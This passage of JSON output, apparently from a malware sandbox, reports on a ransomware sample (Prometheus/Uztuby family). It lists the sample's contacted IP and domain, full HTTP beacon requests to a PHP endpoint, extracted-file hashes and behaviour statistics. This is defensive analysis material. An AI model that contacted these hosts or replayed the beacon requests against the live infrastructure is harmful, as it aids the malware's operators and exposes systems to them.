jZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W"},"Url:/c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo":{"type":"Url","value":"/c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo"}},"chains":[{"id":"sandbox_network","root":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","edges":[{"edge_kind":"contacted_ip","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"Ip:92.53.96.121"},{"edge_kind":"contacted_domain","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"Domain:cr94982.tw1.ru"},{"edge_kind":"contacted_url","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"Url:/c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo"},{"edge_kind":"contacted_url","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"Url:/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W"},{"edge_kind":"contacted_url","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"Url:/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJRTUq90dJp2T0E0QOlXQq1kdBpXT2lleXJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W"},{"edge_kind":"contacted_url","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"Url:/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI2EjYxgTYxEWY2ITZ5MmYiFDMilTOxQDMiRDO3IDNiVjNzEjM4MTYmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W"},{"edge_kind":"contacted_url","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"Url:/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nIzAjZiZTZmRGN2IjNyQTZhRTMllDZ4UDOllTYzQGZhJjZxEzYzEmZkJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W"},{"edge_kind":"contacted_url","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"Url:/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W"},{"edge_kind":"contacted_url","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"$79"},{"edge_kind":"contacted_url","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"$7a"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","edges":[{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:1928004b80696ce437e6fbafa715c2f8cc3a17360dfb5cfa875767cbed05c40c"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:05dd7c5e6c750c5058b55f52cb30d5e8e7e00a79ad004277b33ca3dd7394da8a"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:16f049e45f6700c535ae11e7f40fbcea7785de572f5b1c3c9ec44886403f500a"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:ff9548c5810351eea938a04cc4b47dbb3cece7e555c16968edca4c140485f456"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:f636ad5bfab3cacd97532396ade77867a5e198445385ce0f18128a87c2c599e0"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:7ec39c015fcde0705e7f3a65948bb3d7755609474da286942bdfad89e68f77e9"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:b043444be5578c8d349c628471db35465c245aaf387778e2899d884cf560fb9c"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:0300e9ddb527990e8b59d06e9ccf3ec2bd92d3bbd0ef4fba69d6336e4195e82d"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:4108452700c915576a3e772746062e7dfcb3512d943fcdf8119abe72eb732c9f"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:8500ab7a4eef4a1105f9b4fb2b7e56c876ce12cf05e67ca89e6bd5d3f992c8b4"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:2ed0b769c78532c0244d62564243c0dbaf836509ff0f73dca2f0a262620e1578"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:09362b763ff0721e5f56b3d2363f22dcfd5e10e7a067df5e5a97ad0506a26616"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:600367ba474820c7c7ed8c06f6dc6bc9be9ee88327aca20aeb779bac0f176436"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:1a6a85c3867c8cdedd18e4d7469d98911466265b397f2e4a5895bd6725135861"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:8ac44e9caa322d222f7e3cbfa9ea87027ae668757ddf2f16fe79e1ff51c8e128"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:a77f47766ab93b6bdf25aa69ad7bc59f1f5529f1c169322c850828b1bbdd121f"},{"edge_kind":"extracted","from_key":"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","to_key":"File:1ceaa2fc0c442d69e6cdd1143817cb6a4ef5d26f218d434e18104bcd19719fbc"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":26,"spawned_processes_count":26,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":72,"imported_dlls_count":234,"dropped_files_count":0,"extracted_files_count":30,"files_written_count":79,"files_deleted_count":0,"registry_keys_created_count":52,"registry_keys_modified_count":0,"registry_keys_deleted_count":4,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":56,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":8,"http_requests_count":8},"behavior_tags":["ransomware","evasive","windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6a9dff27eb5f87db9a04eb9b","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Ransom.Prometheus.2;Trojan.Uztuby","submit_name":"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","analysis_start_time":"2026-09-07T00:02:49+00:00","indicators_count":{"informative":223,"suspicious":60,"malicious":12},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"6680eaffa26868caba0689dc","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["RUS"],"submit_name":"18f5a3194d73e08d7d66b7a3b42568b3.exe","analysis_start_time":"2024-06-30T05:20:00+00:00","indicators_count":{"informative":244,"suspicious":70,"malicious":15},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"92.53.96.121","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]}],"dns_resolutions":[{"domain":"cr94982.tw1.ru","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]}],"http_requests":[{"host":"cr94982.tw1.ru","host_ip":"92.53.96.121:80","url":"/c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo HTTP/1.1\nAccept: */*\nContent-Type: text/html\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nHost: cr94982.tw1.ru\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"host":"cr94982.tw1.ru","host_ip":"92.53.96.121:80","url":"/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1\nAccept: */*\nContent-Type: text/html\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nHost: cr94982.tw1.ru","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"host":"cr94982.tw1.ru","host_ip":"92.53.96.121:80","url":"/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJRTUq90dJp2T0E0QOlXQq1kdBpXT2lleXJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJRTUq90dJp2T0E0QOlXQq1kdBpXT2lleXJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1\nAccept: */*\nContent-Type: text/html\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nHost: cr94982.tw1.ru","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"host":"cr94982.tw1.ru","host_ip":"92.53.96.121:80","url":"/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI2EjYxgTYxEWY2ITZ5MmYiFDMilTOxQDMiRDO3IDNiVjNzEjM4MTYmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI2EjYxgTYxEWY2ITZ5MmYiFDMilTOxQDMiRDO3IDNiVjNzEjM4MTYmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1\nAccept: */*\nContent-Type: text/html\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nHost: cr94982.tw1.ru","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"host":"cr94982.tw1.ru","host_ip":"92.53.96.121:80","url":"/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nIzAjZiZTZmRGN2IjNyQTZhRTMllDZ4UDOllTYzQGZhJjZxEzYzEmZkJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nIzAjZiZTZmRGN2IjNyQTZhRTMllDZ4UDOllTYzQGZhJjZxEzYzEmZkJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1\nAccept: */*\nContent-Type: text/html\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nHost: 